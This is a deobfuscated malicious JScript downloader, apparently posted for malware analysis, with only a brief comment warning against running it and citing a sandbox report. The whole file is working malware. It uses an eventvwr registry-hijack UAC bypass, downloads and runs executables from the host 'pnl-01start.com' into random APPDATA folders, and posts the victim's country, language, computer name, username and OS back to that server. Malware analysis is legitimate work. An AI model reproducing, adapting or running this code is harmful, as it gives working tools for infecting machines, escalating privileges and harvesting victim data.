Malicious JScript Downloader

// This is malicious script do not run on a production machine
// Original script: https://www.hybrid-analysis.com/sample/5ff0529719df26f5589074f5efab1aab0fdf8e514054d14c2ab04ecbb9683156?environmentId=100

// ########################### deobfuscated code ####################################

function _0xDF9B(_0xDF9B) {
    try {
        var _0xDFED = WScript.CreateObject("WScript.Shell");
        _0xDFED.Run("REG ADD HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /ve /t REG_SZ /d %temp%/Project1.exe /f");
        WScript.Sleep(1000);
        _0xDFED.Run("%SystemRoot%\\System32\\eventvwr.exe");
        WScript.Sleep(60000);
        _0xDFED.Run("REG DELETE HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /ve /f")
    } catch (e) {};
    return false
}

function _0xDFED(_0xE0E3, _0xDFED, _0xDF9B) {
    try {
        var _0xE03F = WScript.CreateObject("MSXML2.XMLHTTP");
        _0xE03F.Open("GET", _0xE0E3 + "&=" + Math.floor((Math.random() * 999999999) + 1), false);
        _0xE03F.SetRequestHeader("x-auth", _0xDFED);
        _0xE03F.Send();
        if (_0xE03F.Status == 200) {
            var _0xE091 = WScript.CreateObject("ADODB.Stream");
            _0xE091.Type = 1;
            _0xE091.Open();
            _0xE091.Write(_0xE03F.ResponseBody);
            _0xE091.SaveToFile(_0xDF9B, 2);
            _0xE091.Close();
            return true
        }
    } catch (e) {};
    return false
}

function _0xE03F(_0xDF9B) {
    try {
        var _0xDFED = WScript.CreateObject("WScript.Shell");
        return _0xDFED.RegRead("HKEY_CLASSES_ROOT\\\\CLSID\\\\" + _0xDF9B + "\\\\InprocServer32\\\\")
    } catch (e) {};
    return ""
}

function _0xE091(_0xDF9B) {
    try {
        var _0xDFED = WScript.CreateObject("WScript.Shell");
        return _0xDFED.RegRead("HKEY_CLASSES_ROOT\\\\Wow6432Node\\\\CLSID\\\\" + _0xDF9B + "\\\\InprocServer32\\\\")
    } catch (e) {};
    return ""
}

function _0xE0E3(_0xDF9B) {
    try {
        var _0xDFED = WScript.CreateObject("Scripting.FileSystemObject");
        return _0xDFED.FileExists(_0xDF9B)
    } catch (e) {};
    return false
}

function _0xE135(_0xDF9B) {
    try {
        var _0xDFED = WScript.CreateObject("Scripting.FileSystemObject");
        return _0xDFED.FolderExists(_0xDF9B)
    } catch (e) {};
    return false
}

function _0xE187(_0xDF9B) {
    try {
        var _0xDFED = WScript.CreateObject("WScript.Shell");
        return _0xDFED.ExpandEnvironmentStrings("%" + _0xDF9B + "%")
    } catch (e) {};
    return ""
}

function _0xE1D9(_0xDFED) {
    var _0xE091 = "";
    var _0xE03F = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    for (var _0xDF9B = 0; _0xDF9B < _0xDFED; _0xDF9B++) {
        _0xE091 += _0xE03F.charAt(Math.floor(Math.random() * _0xE03F.length))
    };
    return _0xE091
}

function _0xE22B(_0xDF9B) {
    try {
        var _0xDFED = WScript.CreateObject("WScript.Shell");
        _0xDFED.Run(_0xDF9B)
    } catch (e) {}
}

function _0xE27D(_0xE03F, _0xDF9B) {
    try {
        var _0xDFED = WScript.CreateObject("MSXML2.XMLHTTP");
        _0xDFED.Open("GET", _0xE03F + "&=" + Math.floor((Math.random() * 999999999) + 1), false);
        _0xDFED.SetRequestHeader("x-auth", _0xDF9B);
        _0xDFED.Send();
        if (_0xDFED.Status == 200) {
            return _0xDFED.responseText
        }
    } catch (e) {};
    return false
}

function _0xE2CF(_0xDF9B, _0xE0E3) {
    var _0xE03F = new ActiveXObject("Microsoft.XMLDOM");
    var _0xE091 = _0xE03F.createElement("tmp");
    _0xE091.dataType = "bin.base64";
    _0xE091.text = _0xDF9B;
    var _0xDFED = _0xE091.nodeTypedValue;
    var _0xE135 = new ActiveXObject("ADODB.Stream");
    _0xE135.Open();
    _0xE135.Type = 1;
    _0xE135.Write(_0xDFED);
    _0xE135.SaveToFile(_0xE0E3, 2)
}

function _0xE321() {
    var _0xDFED = WScript.CreateObject("WScript.Shell");
    var _0xDF9B = _0xDFED.RegRead("HKCU\\Control Panel\\International\\sCountry");
    return _0xDF9B
}

function _0xE373() {
    var _0xDFED = WScript.CreateObject("WScript.Shell");
    var _0xDF9B = _0xDFED.RegRead("HKCU\\Control Panel\\International\\sLanguage");
    return _0xDF9B
}

function _0xE3C5(_0xE091, _0xDF9B, _0xE03F) {
    try {
        var _0xDFED = WScript.CreateObject("MSXML2.XMLHTTP");
        _0xDFED.Open("POST", _0xE091, false);
        _0xDFED.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        _0xDFED.SetRequestHeader("x-auth", _0xDF9B);
        _0xDFED.Send(_0xE03F);
        if (_0xDFED.Status == 200) {
            return _0xDFED.responseText
        }
    } catch (e) {};
    return false
}

function _0xE417() {
    var _0xE135 = 0x10;
    var _0xE0E3 = 0x20;
    var _0xE091 = GetObject("winmgmts:\\\\.\\root\\CIMV2");
    var _0xDF9B = _0xE091.ExecQuery("SELECT * FROM Win32_OperatingSystem", "WQL", _0xE135 | _0xE0E3);
    var _0xDFED = new Enumerator(_0xDF9B);
    var _0xE03F = _0xDFED.item();
    return _0xE03F.Caption
}

function _0xE469(_0xE03F, _0xDF9B) {
    var _0xDFED = "country=" + _0xE321() + "&l=" + _0xE373() + "&c=" + _0xE187("COMPUTERNAME") + "&u=" + _0xE187("USERNAME") + "&s=" + _0xE417();
    _0xE3C5(_0xE03F, _0xDF9B, _0xDFED)
}

function _0xE4BB() {
    var _0xDF9B = WScript.CreateObject("Scripting.FileSystemObject");
    var _0xDFED = _0xE187("APPDATA") + "\\\\" + WScript.ScriptName;
    return _0xDF9B.FileExists(_0xDFED) == false
}

function _0xE50D() {
    var _0xDF9B = WScript.CreateObject("Scripting.FileSystemObject");
    var _0xDFED = _0xE187("APPDATA") + "\\\\" + WScript.ScriptName;
    _0xDF9B.CreateTextFile(_0xDFED, true)
}

function _0xE55F(_0xE3C5, _0xE2CF) {
    try {
        var _0xE373 = _0xE27D(_0xE3C5 + "?q", _0xE2CF);
        if ((_0xE373 == "1") && (_0xE4BB())) {
            var _0xE135 = WScript.CreateObject("Scripting.FileSystemObject");
            var _0xE321 = _0xE187("APPDATA") + "\\\\" + _0xE1D9(6);
            _0xE135.CreateFolder(_0xE321);
            var _0xE091 = _0xE27D(_0xE3C5 + "?w", _0xE2CF);
            if (_0xE091) {
                var _0xE0E3 = _0xE321 + "\\\\" + _0xE1D9(6) + ".exe";
                var _0xE03F = _0xDFED(_0xE3C5 + "?e", _0xE2CF, _0xE0E3);
                var _0xDF9B = _0xDFED(_0xE3C5 + "?r", _0xE2CF, _0xE321 + "\\\\" + _0xE091);
                if (_0xE03F && _0xDF9B) {
                    _0xE22B(_0xE0E3);
                    _0xE469(_0xE3C5 + "?t", _0xE2CF);
                    _0xE50D()
                }
            }
        }
    } catch (e) {}
}
runAsAdmin = _0xDF9B;
dlToFile = _0xDFED;
getPathFromGuid = _0xE03F;
getPathFromGuidWow = _0xE091;
fileExists = _0xE0E3;
folderExists = _0xE135;
getEnv = _0xE187;
randomStr = _0xE1D9;
runAsUser = _0xE22B;
dlToText = _0xE27D;
base64ToBinary = _0xE2CF;
getCountryName = _0xE321;
getLanguage = _0xE373;
dataPost = _0xE3C5;
getSO = _0xE417;
SendInfect = _0xE469;
Prosseguir = _0xE4BB;
Marcar = _0xE50D;
Arrochar = _0xE55F;
_0xE55F("https://pnl-01start.com/", "padrao")